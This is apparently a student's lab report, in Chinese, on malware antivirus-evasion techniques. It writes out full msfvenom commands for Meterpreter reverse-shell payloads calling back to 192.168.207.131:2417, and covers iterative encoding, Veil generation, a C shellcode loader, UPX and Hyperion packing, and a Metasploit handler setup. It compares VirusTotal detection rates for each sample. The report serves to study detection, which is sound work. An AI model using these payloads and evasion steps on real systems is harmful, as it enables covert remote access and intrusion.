1.实验内容
本次实验系统性地探索了多种恶意软件免杀技术,通过以下五种方法生成恶意文件:
MSF编码器技术 - 使用msfvenom生成基础载荷并进行迭代编码
Veil框架应用 - 利用专业免杀工具生成定制化载荷
C+Shellcode编程 - 通过自定义加载器执行原始shellcode
加壳技术 - 尝试UPX压缩壳和Hyperion加密壳处理可执行文件
技术组合应用 - 综合运用多种技术构建复合保护机制
采用VirusTotal多引擎检测平台对各技术生成的样本进行免杀效果评估,通过对比检测率分析不同技术的实际防护规避能力,从而深入理解现代恶意代码检测与防御机制。
2.实验过程
2.1观察初始的免杀效果
使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.207.131 PORT=2417 -f exe > met20232417.exe生成一个可执行文件。

将生成的文件放入VirusTotal网站中,检测生成的文件危险程度,可以看见其结果是50/70。
这个网站最出名的功能为,当你上传一个文件(如.exe、.docx、.pdf等)或提供一个网址、域名、IP地址时,VirusTotal会使用几十种不同的知名杀毒软件(如卡巴斯基、诺顿、Avast、腾讯电脑管家、360等)同时对其进行扫描。它会汇总所有扫描引擎的结果,并给您一个报告,告诉您有多少个引擎认为这个文件是恶意的。

2.2使用msfvenom生成exe、jar、php文件
2.2.1生成exe文件和多次编码后的exe文件
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.207.131 LPORT=2417 -f exe > met-encoded20232417.exe命令生成exe文件。
-e x86/shikata_ga_nai:
-e 指定编码器。
x86/shikata_ga_nai 是 Metasploit 中一个非常著名的编码器,它可以通过复杂的多态变形技术,对载荷的代码进行混淆,以逃避杀毒软件的静态特征码检测。
-b '\x00':
-b 指定要避免的坏字符。
\x00 是空字符(NULL)。在许多缓冲区溢出或字符串处理函数中,空字符会被视为字符串的结束符,如果载荷中包含空字符,可能会导致载荷被截断而无法正常执行。所以需要从载荷中剔除。
-f exe:
-f 指定输出文件的格式。

再将这个文件检测,可以看到结果为43/72,这个结果与初始文件的结果差异不大。

再使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.207.131 LPORT=2417 -f exe > met-5encoded20232417.exe命令对使用x86/shikata_ga_nai编码器对载荷编码5次,这条命令的作用是对载荷(比起上条命令的默认次数1次)多迭代了几次,相当将载荷多加了几层壳。
-i表示迭代次数

通常杀毒软件通常依靠病毒文件的静态特征码(如一串独特的二进制代码)来识别威胁。每次编码都会显著改变载荷的二进制结构。编码5次后,最终文件的静态特征与只编码1次的版本、甚至与原始版本都截然不同。按照道理来说,这大大降低了被基于单一特征码的杀毒引擎检测到的概率。并且对于高级的杀毒软件模拟器来说,需要“剥开”所有5层编码才能看到核心的恶意载荷,这增加了分析和检测的复杂度和时间成本。可是我们从结果可以看出并没有什么明显的差异,这是由于Virus Total上的引擎内置了shikata_ga_nai的解码和模拟器。无论你嵌套多少层,它们都可以通过模拟执行或虚拟化的方式,一步步地剥开所有编码层,直到还原出最核心的、未经加密的恶意载荷。加之杀毒引擎不是在给你的“编码外壳”做特征码匹配,而是在模拟解码过程后,对你最终在内存中还原的Meterpreter载荷进行特征匹配。只要核心的Meterpreter代码本身没有被修改,无论包了多少层外壳,最终都会被识别出来。

2.2.2生成jar文件和多次迭代后的jar文件
使用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.207.131 LPORT=2417 x>metjar20232417.jar生成jar文件
java/meterpreter/reverse_tcp:这是一个用Java语言编写的Meterpreter载荷。

检查结果为:35/64

与上面exe文件相似,这里我们使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.207.131 LPORT=2417 -e java/base64 -i 3 -f jar > met-encoded-jar20232417.jar命令多次编码文件
-e java/base64:使用了java/base64编码器

检测结果为:35/64,从结果可以明显看出这两者没有差别。

2.2.3生成php文件和多次迭代的php文件
使用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.207.131 LPORT=2417 x> metphp_20232417.php生成php文件
php/meterpreter/reverse_tcp:这是一个用PHP语言编写的Meterpreter载荷。

检测结果为:25/62

再使用msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.207.131 LPORT=2417 x> met_encoded10_php_20232417.php命令生成编码10次的php文件。

检测结果为:9/62,从这个结果可以看出php文件的免杀效果较好。

2.3使用veil免杀工具
2.3.1下载veil
使用sudo apt -y install veil命令下载
Veil-Evasion是一个专门用于生成免杀载荷的先进框架。它可以看作是msfvenom的一个强大补充和替代品,尤其在绕过杀毒软件方面更为专业。

使用sudo /usr/share/veil/config/setup.sh --force --silent命令,配置veil。
/usr/share/veil/:这是通过apt install veil安装后,Veil框架文件在系统中的标准存储位置。
config/setup.sh:这是Veil框架的安装和配置脚本。它的任务是确保所有运行所需的组件都已就位。
--force:即使系统已经安装过Veil或部分依赖,也会强制重新安装所有组件。通常用于修复一个损坏的Veil安装,或者确保环境是全新和一致的。
--silent:脚本不会在终端向用户提出任何问题(例如“是否继续?”),所有选项均自动选择默认或所需的值。

下载好之后,会出现以下界面

2.3.2使用veil
输入use 1命令进入Evasion模块
Veil的Evasion模块是Veil框架的核心组件,专门用于生成免杀(Antivirus Evasion)的恶意软件载荷。
再使用list命令查看可以生成的载荷类型,选择c/meterpreter/rev_tcp.py。
然后进行配置:
set LHOST 192.168.207.131
set LPORT 2417
generate

找到生成文件后,将文件送去检测。可以看见结果为:39/71。

2.4使用C+shellcode编程
使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.207.131 LPORT=2417 -f c生成Meterpreter反向TCP连接的Shellcode,并以C语言数组格式输出。

使用生成的C语言数据创建一个文件。
除了复制生成的C语言数组外,不要忘记写入:
int main(){
int (func)() = (int()())buf;
func();

再使用i686-w64-mingw32-g++ -mconsole -O2 shellcode_c_20232417.c -o shellcode_c_20232417.exe命令进行编译得到exe文件。

检测的结果为:29/72,免杀效果较好。

2.5使用加壳工具
2.5.1使用压缩壳UPX
使用upx shellcode_c_20232417.exe -o shellcode_c_upx_20232417.exe命令,用UPX工具对生成的恶意软件可执行文件进行压缩,以减小文件体积并可能规避杀毒软件的检测。

检测结果为:33/70,对比没有压缩之前的结果反而差了一点,这是由于UPX过于流行和特征明显,在现代安全环境中反而成了"危险标志"。杀毒软件看到UPX压缩的文件会更加警惕,导致检测率不降反升。

2.5.2使用加密壳Hyperion
首先使用cp shellcode_c_20232417.exe /usr/share/windows-resources/hyperion/命令,将文件放入指定目录下,注意这个地方需要root权限,使用su - root命令,再输入密码切换到root用户就好。再使用cd /usr/share/windows-resources/hyperion命令切换到目录。最后使用wine hyperion.exe -v shellcode_c_20232417.exe shellcode_c_hyp_20232417.exe命令加密文件。

检测结果为:51/71,这个免杀效果比之前的文件较差。

2.6通过组合应用各种技术实现恶意代码免杀
输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.207.131 LPORT=2417 -f c > 20232417_shellcode.c,使用msfvenom工具来生成一个被迭代10次的攻击载荷。
使用vi编辑器在生成的20232417_shellcode.c文件后加入代码int main(){ int (*func)() = (int(*)())buf; func(); }。
使用命令i686-w64-mingw32-g++ 20232417_shellcode.c -o 20232417_shellcode.exe,用MinGW-w64编译该源文件。
使用upx 20232417_shellcode.exe -o 20232417_shellcode_upx.exe命令将文件压缩(使用UPX)。
使用wine hyperion.exe -v 20232417_shellcode_upx.exe 20232417_shellcode_upx_hyp.exe命令将文件加密(使用hyperion)。
注意这个地方是要在/usr/share/windows-resources/hyperion目录下,之前生成的20232417_shellcode_upx.exe也要在这个目录下。
将生成的文件放入主机中,用杀毒软件进行扫描,但是还没有等我手动开始扫描,电脑自带的杀毒软件就已经把这个程序给删除了。
2.7用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
在虚拟机中输入msfconsole打开Metasploit框架的主控制台界面。
再输入以下命令进行配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.207.131
set LPORT 2417
exploit

然后再主机上面运行生成的.exe文件,但是由于被杀毒软件及时地删除了,所以无法运行,所以相应地回连也失败了。

3.问题及解决方案
- 问题1:在下载veil的过程遇到了内存不够的问题
- 解决方案:按照参考资料中的“kali内存扩展”进行内存扩展就好了。
- 问题2:在解决问题1的过程中,在虚拟机设置中扩展内存后,重启虚拟机发现无法进入图形化登录界面,而且光标一直在左上角闪烁。
- 解决方案:参照资料中的博客解决就好了,需要注意的是在按ctrl+alt+f2进入终端的时候,如果没有反应,可以先按esc+fn,再按ctrl+alt+f2进入终端(如果f2没有反应,可以尝试f1~f6)。
4.学习感悟以及思考
本次实验我们探索了恶意软件免杀技术的完整技术链。在msfvenom和编码器应用阶段,生成了exe、jar、php文件及其编码版本,发现php文件经过10次迭代编码后检出率从25/62降至9/62,展现出最佳效果,而exe和jar文件的多次编码效果有限,揭示了静态编码在面对现代检测引擎时的局限性。在Veil工具应用中,利用该专业免杀框架生成C语言载荷,获得39/71的检出率,证明了专用工具相对于msfvenom的标准编码具有更好的规避能力。在C+shellcode编程技术中,通过将shellcode嵌入自定义C程序并编译执行,成功将检出率降低至29/72,体现了定制化加载器在破坏特征码方面的优势。在加壳技术探索方面,UPX压缩壳由于特征明显反而使检出率上升至33/70,Hyperion加密壳更是达到51/71的高检出率,说明常见加壳工具已被安全产品深度建档。在技术组合应用阶段,综合运用多次编码、自定义编译、压缩和加密等技术生成复合保护载荷,但在实际环境测试中,尽管采用了多种技术组合,生成的恶意代码仍在运行时被主机杀毒软件实时拦截,无法建立回连连接,充分证明了现代端点防护系统具备多层次检测能力,单纯的技术堆叠已难以突破成熟的安全防护体系。
参考资料
参考的学姐博客
kali使用问题记录:开机后无法进入登录界面,光标在左上角闪烁
kali内存扩展
